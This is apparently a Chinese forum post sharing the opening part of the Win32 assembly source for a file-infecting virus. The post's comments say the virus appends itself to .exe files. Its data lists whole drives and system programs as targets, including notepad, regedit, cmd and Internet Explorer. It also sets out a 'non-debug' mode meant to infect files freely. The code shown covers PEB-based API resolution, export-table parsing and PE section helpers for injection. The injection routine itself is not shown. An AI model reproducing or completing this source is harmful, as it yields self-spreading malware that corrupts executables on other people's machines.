该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
先送上源代码吧!!
comment/ 程序用win32汇编编写.用masm32 v10.0编译
2017-11-27 完成
作者: yuan
/
;##############################################
.386
.model flat, stdcall
option casemap :none
;##############################################
include \masm32\include\windows.inc
;###############函数声明#######################
_GetApi PROTO :DWORD,:DWORD
_GetKernelBase PROTO
_GetAllAPIAddress PROTO :DWORD,:DWORD
_OffsetToRVA PROTO :DWORD,:DWORD
_RVAToOffset PROTO :DWORD,:DWORD
_GetLastSection PROTO :DWORD
_CheckSig PROTO :DWORD,:DWORD
_Inject PROTO :DWORD
_Destroy PROTO
_EndWith PROTO :DWORD,:DWORD
_TraversalDirectory PROTO :DWORD
_TraversalDirectoryCallBack PROTO :DWORD
;###############常量宏#########################
PATCH_SIZE = offset PATCH_END - offset PATCH_START
ENTRY_POINT_ADDR = offset old_entry_point - offset PATCH_START
INJECT_SIG = 088888888H ;感染标记
_TYPE = 1
;_TYPE 1表示调试模式 感染当前目录下少量文件
;0表示非调试模式 程序将成为标准型态 肆意感染大量文件
;##############################################
.code
PATCH_START EQU this byte
jmp _Entry
szPatchFile db "hello.exe",0
szUser32 db "user32",0
dwOldEntry dd 0 ;保存被感染文件原入口点
szInjectFileType db ".exe",0 ;待感染文件后缀
dwInjectMax dd 20 ;每次感染数量上限
dwInjected dd 0 ;记录已感染数量
travlpath db "d:\zt\",0
szMSG db "本程序已携带病毒",0
szTextPath db "d:\love\",0 ;调试模式感染此目录
szDriveD db "d:\",0 ;非调试模式感染驱动器下所有exe文件
szDriveE db "e:\",0
szDriveF db "f:\",0
szDriveC db "c:\",0
FIRST_INJECT = this byte
;优先感染的关键文件,在非调试模式才感染
notepad_1 db "c:\windows\notepad.exe" ,0;
regedit_ db "c:\windows\regedit.exe" ,0
notepad_2 db "c:\windows\system32\notepad.exe",0;
cmd_ db "c:\windows\system32\cmd.exe" ,0;
control_ db "c:\windows\system32\control.exe",0;控制面板
ie_ db "c:\Program Files\Internet Explorer\iexplore.exe",0;
db 011h
;########################################################
;需要用到的所有API,后面将动态获取其地址填入xxx_API_ADDR处
user32_API_NAME EQU this byte
szMessageBoxA db "MessageBoxA",0
db 011h
user32_API_ADDR EQU this byte
_MessageBoxA dd 0
;+++++++++++++++++++++++++++++++++++++++++++++++++++
kernel32_API_NAME EQU this byte
szCreateProcessA db "CreateProcessA" ,0
szlstrcpyA db "lstrcpyA" ,0
szlstrcatA db "lstrcatA" ,0
szFindFirstFileA db "FindFirstFileA" ,0
szFindNextFileA db "FindNextFileA" ,0
szFindClose db "FindClose" ,0
szCreateFileA db "CreateFileA" ,0
szCloseHandle db "CloseHandle" ,0
szCreateFileMappingA db "CreateFileMappingA" ,0
szMapViewOfFile db "MapViewOfFile" ,0
szUnmapViewOfFile db "UnmapViewOfFile" ,0
szLoadLibraryA db "LoadLibraryA" ,0
szGetProcAddress db "GetProcAddress" ,0
szGetModuleHandleA db "GetModuleHandleA" ,0
szGetFileSize db "GetFileSize" ,0
szCreateDirectoryA db "CreateDirectoryA" ,0
szExitProcess db "ExitProcess",0
db 011h ;结束标志
kernel32_API_ADDR EQU this byte
_CreateProcessA dd 0
_lstrcpyA dd 0
_lstrcatA dd 0
_FindFirstFileA dd 0
_FindNextFileA dd 0
_FindClose dd 0
_CreateFileA dd 0
_CloseHandle dd 0
_CreateFileMappingA dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_LoadLibraryA dd 0
_GetProcAddress dd 0
_GetModuleHandleA dd 0
_GetFileSize dd 0
_CreateDirectoryA dd 0
_ExitProcess dd 0
;########################################################
;--------------------------------------------------
;功能: 判断字符串lpParent是否以字符串lpChild结尾
;lpParent结尾包含lpChlid时返回1在eax 否则返回0
;---------------------------------------------------
_EndWith PROC uses ecx edx esi edi lpParent,lpChild
mov edi,lpChild
mov ecx,-1
xor eax,eax
cld
repnz scasb
sub edi,lpChild
mov edx,edi
mov edi,lpParent
repne scasb
sub edi,edx
mov ecx,edx
mov esi,lpChild
repe cmpsb
jne @F
mov eax,1
@@:
ret
_EndWith ENDP
;+++++++++++++++++++++++++++++++++++++++++++++++++
;功能: 类似GetProcAddress
;lpBase - 动态链接库基地址
;lpApi - 字符串指针指向要获取的函数名
;返回函数地址在eax 没有找到返回-1
;+++++++++++++++++++++++++++++++++++++++++++++++++
_GetApi PROC uses esi edi ecx ebx edx lpBase,lpApi
LOCAL @dwLen
mov edi,lpApi
mov ecx,-1
xor al,al
cld
repnz scasb
sub edi,lpApi
mov @dwLen,edi
mov ebx,lpBase
mov esi,[ebx+3ch] ;pe头偏移
mov esi,[esi+ebx+78h]
add esi,ebx ;esi指向IMAGE_EXPORT_DIRECTORY
mov edx,[esi+20h]
add edx,ebx ;edx指向AddressOfNames RVA列表
push esi
xor eax,eax ;计数索引
@@:
mov edi,[edx+eax*4]
add edi,ebx
mov esi,lpApi
mov ecx,@dwLen
repz cmpsb
je @F ;字符串相等 找到
inc eax
jmp @B
@@:
pop esi
mov edi,[esi+24h]
add edi,ebx
mov ax,word ptr [edi+eax*2] ;取出函数地址在AddressOfFunctions中索引
mov edi,[esi+1ch]
add edi,ebx
mov eax,[edi+eax*4]
add eax,ebx
ret
_GetApi ENDP
;+++++++++++++++++++++++++++++++++++++++++++++++++
;功能: 获取kernel32.dll基地址
;返回kernel32.dll基地址在eax
;+++++++++++++++++++++++++++++++++++++++++++++++++
_GetKernelBase PROC uses esi edi ecx
assume fs:nothing
xor ecx,ecx
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
@@:
mov eax,[esi+08h] ;取列表中模块基址到eax
mov edi,[esi+20h] ;取所属模块的字串首地址到EDI
mov esi,[esi]
cmp [edi+12*2],cx ;cx=0 比较字串的尾部是否为0
jnz @B
ret
_GetKernelBase ENDP
;+++++++++++++++++++++++++++++++++++++++++++++++++
;功能: 批量获取API地址
;入口参数
;esi: 函数地址表
;edi: 函数名字符串表
;lpBase: 模块基址
;lpGetProcAddress: GetProcAddress函数地址
;函数字符串表以db 011h 为结束标志
;+++++++++++++++++++++++++++++++++++++++++++++++++
_GetAllAPIAddress PROC uses ecx lpBase,lpGetProcAddress
cld
@@:
mov al,[edi]
cmp al,011h
je @F
push edi
push lpBase
call lpGetProcAddress
mov [esi],eax
xor eax,eax
mov ecx,-1
repne scasb
add esi,4
jmp @B
@@:
ret
_GetAllAPIAddress ENDP
;+++++++++++++++++++++++++++++++++++++++++++++++++
;功能: 文件偏移转RVA
;lpDosHeader 指向内存映射文件头 dwOffset为文件偏移
;返回RVA 失败返回-1
;+++++++++++++++++++++++++++++++++++++++++++++++++
_OffsetToRVA PROC uses esi edi edx ecx lpDosHeader,dwOffset
mov esi,lpDosHeader
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
lea edx,[esi+sizeof IMAGE_NT_HEADERS]
assume edx:ptr IMAGE_SECTION_HEADER
mov cx, [esi].FileHeader.NumberOfSections
mov edi, dwOffset
@@:
mov eax, [edx].PointerToRawData
add eax, [edx].SizeOfRawData
.if (edi >= [edx].PointerToRawData)&&(edi < eax)
sub edi, [edx].PointerToRawData
mov eax, [edx].VirtualAddress
add eax, edi
ret
.endif
add edx, sizeof IMAGE_SECTION_HEADER
loop @B
mov eax, -1
ret
_OffsetToRVA ENDP
;+++++++++++++++++++++++++++++++++++++++++++++++++
;RVA转文件偏移
;+++++++++++++++++++++++++++++++++++++++++++++++++
_RVAToOffset PROC uses esi edi edx ecx lpDosHeader,dwRVA
mov esi, lpDosHeader
assume esi:ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
lea edx, [esi+sizeof IMAGE_NT_HEADERS]
assume edx:ptr IMAGE_SECTION_HEADER
mov cx, [esi].FileHeader.NumberOfSections
mov edi, dwRVA
@@:
mov eax, [edx].VirtualAddress
add eax, [edx].SizeOfRawData
.if (edi >= [edx].VirtualAddress)&&(edi < eax)
sub edi, [edx].VirtualAddress
mov eax, [edx].PointerToRawData
add eax, edi
ret
.endif
add edx,sizeof IMAGE_SECTION_HEADER
loop @B
mov eax,-1
ret
_RVAToOffset ENDP
;+++++++++++++++++++++++++++++++++++++++++++++++++
;功能: 获取指向末节区头指针
;lpBase: 内存映射后dos头指针
;返回指向末节区头的指针在eax
;+++++++++++++++++++++++++++++++++++++++++++++++++
_GetLastSection PROC uses esi ebx lpBase
mov esi,lpBase
assume esi:ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
movzx ebx, [esi].FileHeader.NumberOfSections
dec ebx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ebx
add esi, sizeof IMAGE_NT_HEADERS
add esi, eax
mov eax, esi
assume esi:nothing
ret
_GetLastSection ENDP